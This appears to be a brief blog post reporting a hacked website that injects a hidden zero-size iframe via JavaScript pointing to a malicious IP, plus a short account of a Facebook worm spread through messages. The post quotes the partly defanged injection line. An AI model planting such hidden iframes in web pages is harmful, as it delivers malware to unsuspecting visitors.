RBN?

Today i came across with an hacked web site containing some javascript files pointing to a static IP. The content of the webpage hosted by the infected PCs is an iframe from 91.203.93.4, inserted via javascript like this:




document.write "-i-frame sr-c=h||p://91.203.93.4/ cgi-bin/index.cgi?ad width=0 height=0 frameborder=0 iframe " ;

You can read more about it on:

http://www.matchent.com/wpress/index.php?q=comment/reply/365

The FaceBook virus / worm

---------- Today i so 2 strange mesages from my facebook friends.

- both of them were the same, and i remember that i so an article today about a facebook virus/worm.

- The link directed me to the code in the image, that linked to download a worm.